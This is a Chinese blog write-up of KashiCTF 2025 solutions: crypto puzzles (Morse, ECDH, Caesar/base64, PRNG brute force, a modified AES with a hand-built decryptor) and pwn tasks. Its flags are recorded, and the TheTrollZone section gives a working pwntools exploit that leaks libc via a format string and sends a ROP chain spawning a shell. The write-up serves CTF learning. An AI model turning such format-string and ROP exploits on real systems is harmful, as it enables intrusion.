当前位置: 首页 > news >正文

[KashiCTF 2025] Crypto/Pwn

有人问我个题,我也没弄出来。先记下。好些字不认识,不清楚哪国的。提交不了了,但环境还在。有的不清楚对不对。

Crypto

Lost Frequencies

--- .... -. --- -... .. -. .- .-. -.-- -- --- .-. ... .

把提示里01改为.-就是摩斯码:OHNOBINARYMORSE

Key Exchange

 给了椭圆曲线方程p,a,b和点G以及公钥P_A=k*G,要求输入点B,用S=k*B 的S.x加密flag,显然这里把G输进去就OK了。S=P_A

MMDLX

从名字上看还以为是罗马字母转数字。提示有罗马是说caeser密码。数据很多有几M,先用caeser解一下3的时候可用base64解,然后一直base64

from base64 import *

def caeser(m,off):
    tab1 = 'abcdefghijklmnopqrstuvwxyz'
    tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join([tab1[(tab1.index(i)+off)%26] if i in tab1 else tab2[(tab2.index(i)+off)%26] if i in tab2 else i for i in m]).encode()

a = open('c3_MMDLX.txt').read()
a = caeser(a,3)

while b'KashiCTF' not in a:
    a = b64decode(a)

print(a)
#b'KashiCTF{w31rd_numb3r5_4nd_c1ph3r5}'

Random-Inator

一个PRNG的算法,算法及参数不详,连接后试了20个,发现生成的数据是重复的。20次得到10个数据。然后用这10个数据爆破。key,iv都来自这10个。

'''
#PRNG是个循环,只有10个,爆破key
Doofenshmirtz Evil Incorporated!!!

All right, I don't like to repeat myself here but it just happens
Anyhow, here's the encrypted message: 6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757
Ohh, How I love EVIL

Plaintext >> 
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc

Plaintext >> 
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc

......

'''

a = '''674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
7aba152e75735bc86567d804294acc82f190625d5e42abbfe06e9e472e7ff1e1
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa'''
b = [bytes.fromhex(i[:32]) for i in a.split('\r\n')]
b = list(set(b))
ct = bytes.fromhex('6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757')

for key in b:
    for iv in b:
        cipher = AES.new(key, AES.MODE_CBC, iv)
        m = cipher.decrypt(ct)
        if b'KashiCTF' in m:
            print(m)

#b'lg\x82\xfc_\x94m\x8f\xa4\x8a\xeegS7a\xfbKashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}\x06\x06\x06\x06\x06\x06'
#KashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}

Absolutely Encrypted Shenanigans

一个魔改的AES没有解码算法,CBC格式给出key和密文求iv,这里iv是8位*2而明文头是flag头,所以可以异或得到。关键是写解码函数。

加上解码的AES.py

def xor(b1, b2):
    if len(b1)!=len(b2):
        raise ValueError("Lengths of byte strings are not equal")
    return bytes([b1[i]^b2[i] for i in range(len(b1))])

def bytes2matrix(text):
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    s = b""
    for l in matrix:
        s += bytes(l)
    return s
    
def shift_rows(s):
    s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2] = s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3]
    return s

def rev_shift_rows(s):
    s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3] = s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2]
    return s

xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
rev_xtime = lambda a: (((a ^ 0x1B)>>1) | 0x80) if (a & 1) else (a >> 1)

def mix_single_column(a):
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)
    return a

def rev_mix_single_column(a):
    for b0 in range(256):
      for b1 in range(256):
        b23 = a[0]^b1^xtime(b0^b1)
        b2 = rev_xtime(a[1]^b0^b23)^b1
        b3 = b23^b2
        if a[2] == b0^b1^b3^xtime(b2^b3) and a[3] == b0^b1^b2^xtime(b3^b0):
            return [b0,b1,b2,b3]


def mix_columns(s):
    for i in range(4):
        s[i] = mix_single_column(s[i])
    return s

def rev_mix_columns(s):
    for i in range(4):
        s[i] = rev_mix_single_column(s[i])
    return s


s_box = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

rev_s_box = (
    82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 
    124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 
    84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 
    8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 
    114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101,182, 146, 
    108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 
    144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 
    208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 
    58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 
    150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 
    71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 
    252, 86, 62, 75, 198, 210, 121,32, 154, 219, 192, 254, 120, 205, 
    90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 
    236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 
    156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 
    153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125)
    
def add_round_key(s, k):
    ns = []
    for i in range(4):
        ns.append([])
        for j in range(4):
            ns[i].append(s[i][j]^k[j][i])
    return ns

def sub_bytes(s, sbox=s_box):
    resmatrix = []
    for i in range(4):
        resmatrix.append([])
        for j in range(4):
            hexval=hex(s[i][j])[2:]
            if len(hexval)==1:
                a,b = 0,int(hexval,16)
            else:
                a,b = int(hexval[0],16), int(hexval[1],16)
            resmatrix[i].append(s_box[a*16+b])
            
    return resmatrix

def rev_sub_bytes(s):
    resmatrix = []
    for i in range(4):
        resmatrix.append([])
        for j in range(4):
            hexval=hex(s[i][j])[2:]
            if len(hexval)==1:
                a,b = 0,int(hexval,16)
            else:
                a,b = int(hexval[0],16), int(hexval[1],16)
            resmatrix[i].append(rev_s_box[a*16+b])
            
    return resmatrix


N_ROUNDS = 10


def expand_key(master_key):
    r_con = (
        0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
        0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
        0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
        0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
    )
    key_columns = bytes2matrix(master_key)
    iteration_size = len(master_key) // 4
    i = 1
    while len(key_columns) < (N_ROUNDS + 1) * 4:
        word = list(key_columns[-1])
        if len(key_columns) % iteration_size == 0:
            word.append(word.pop(0))
            word = [s_box[b] for b in word]
            word[0] ^= r_con[i]
            i += 1
        elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
            word = [s_box[b] for b in word]
        word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size]))
        key_columns.append(word)
    exkey = [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
    #print(len(exkey))
    return exkey


def encrypt_block(key, pt_block):
    round_keys = expand_key(key)
    state = bytes2matrix(pt_block)
    state = add_round_key(state, round_keys[0])
    state = sub_bytes(state)
    state = shift_rows(state)

    for i in range(1,N_ROUNDS):
        state = mix_columns(state)
        state = add_round_key(state, round_keys[i])
        state = sub_bytes(state)
        state = shift_rows(state)
    
    state = add_round_key(state, round_keys[N_ROUNDS])
    ct_block = matrix2bytes(state)

    return ct_block

def decrypt_block(key, pt_block):
    #print('blk:', pt_block)
    round_keys = expand_key(key)
    state = bytes2matrix(pt_block)
    state = add_round_key(state, round_keys[N_ROUNDS])
    for i in range(N_ROUNDS-1,0,-1):
        state = rev_shift_rows(state)
        state = rev_sub_bytes(state)
        state = add_round_key(state, round_keys[i])
        state = rev_mix_columns(state)
    
    state = rev_shift_rows(state)
    state = rev_sub_bytes(state)
    state = add_round_key(state, round_keys[0])
    
    ct_block = matrix2bytes(state)
    return ct_block



def encrypt(key, plaintext, mode="ECB", iv=None):
    if len(plaintext)%16 != 0:
        raise ValueError("Invalid Plaintext")
    elif len(key)!=16:
        raise ValueError("Invalid Key")
    ciphertext = b""
    if mode=="ECB":
        for i in range(0, len(plaintext), 16):
            ciphertext += encrypt_block(key, plaintext[i: i+16])
        
    elif mode=="CBC":
        if (iv==None or len(iv)!=16):
            raise ValueError("Invalid IV")
        ciphertext += iv
        for i in range(0, len(plaintext), 16):
            ciphertext += encrypt_block(key, xor(ciphertext[i: i+16], plaintext[i: i+16]))
        
    return ciphertext[16:]


def decrypt(key, plaintext, iv=None):
    iv = b'\0'*16
    ciphertext = b''
    for i in range(0, len(plaintext), 16):
        ciphertext += xor(iv,decrypt_block(key, plaintext[i: i+16]))
        iv = plaintext[i:i+16]
    return ciphertext


def pad(text, blocksize):
    padding_len = blocksize - (len(text)%blocksize)
    padding = bytes([padding_len])*padding_len
    return text+padding
from AES import *
from pwn import remote,context as ctx
import json
ctx.log_level = 'debug'

p = remote('kashictf.iitbhucybersec.in', 50482)


for i in range(10):
    ct = json.loads(p.recvline().decode().strip())
    m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)
    iv = xor(m[:8], b'KashiCTF')*2
    p.sendline(iv.hex().encode())
    p.recvline()

ct = json.loads(p.recvline().decode().strip())
m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)
iv = xor(m[:8], b'KashiCTF')*2
print(xor(iv, m[:16])+ m[16:])
print()

p.interactive()

#KashiCTF{AES_Unbr34KAbl3_but_t0T4lly_br3Akable_mAyb3_1lOfUiUR}

PWN

TheTrollZone

先有个printf漏洞得到libc,再溢出写ROP

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

p = remote('kashictf.iitbhucybersec.in', 64932)

p.sendlineafter(b"What do you want? ", b'%17$p ')
p.recvuntil(b"Lmao not giving you ")
libc.address = int(p.recvuntil(b' '), 16) - 0x2724a

pop_rdi = libc.address + 0x00000000000277e5 # pop rdi ; ret

p.sendlineafter(b"Wanna Cry about that? ", b'\0'*0x28+flat(pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh\0')) ,libc.sym['system']))

p.interactive()
#KashiCTF{did_some_trolling_right_there_OschnziH}

leap_of_faith

看上去简单,本地成远程不成。

地址是固定的,读入一个地址然后跳过去。但输入4011ba远程不管用。而且输出这个地址,显然远程跟附件不大一样。等看别人的WP是怎么回事吧。

能跳的地方不多,而且从整体的题目来看难度不大,也不应该是多复杂的题。

相关文章:

  • Docker Compose一键部署Spring Boot + Vue项目
  • 微前端 Micro app
  • 数学建模之数学模型—2:非线性规划
  • MySQL 连表查询:原理、语法与优化
  • 005:Cesium.viewer 知识详解、示例代码
  • 小迪安全-24天-文件管理,显示上传,黑白名单,访问控制
  • 【R语言】dplyr包经典函数summarise函数
  • 永洪科技旗下BI产品,成功入选“金融信创优秀解决方案“
  • 模版语法vscode
  • 云计算及其他计算
  • 【LeetCode刷题之路】leetcode155.最小栈
  • Windows 11【1001问】如何下载Windows 11系统镜像
  • 【2025信息安全软考重点考点归纳】实时更新
  • 首发!三维街景数据产品V0.1版发布
  • 网络安全入门|从防护到溯源:HTTP慢速攻击的深度对抗
  • 力扣hot100——二叉树的右视图
  • 基于同轴聚类点云去重的铆钉高度测量
  • [数学] 常用数学公式(逐步更新完善)
  • html中rel、href、src、url的区别
  • Python项目源码33:待办事项列表应用2.0(命令行界面+Json+类)
  • 自媒体假扮官方蹭反间谍热度攫取利益,国安机关提醒
  • 北方今年首场高温过程开启,西北华北黄淮多地最高或达40℃
  • 解放日报“解码上海AI产业链”:在开源浪潮中,集聚要素抢先机
  • 多图|多款先进预警机亮相雷达展,专家:中国预警机已达世界先进水平
  • 当“诈骗诱饵”盯上短剧
  • 以色列媒体:哈马斯愿意释放部分人员换取两个月停火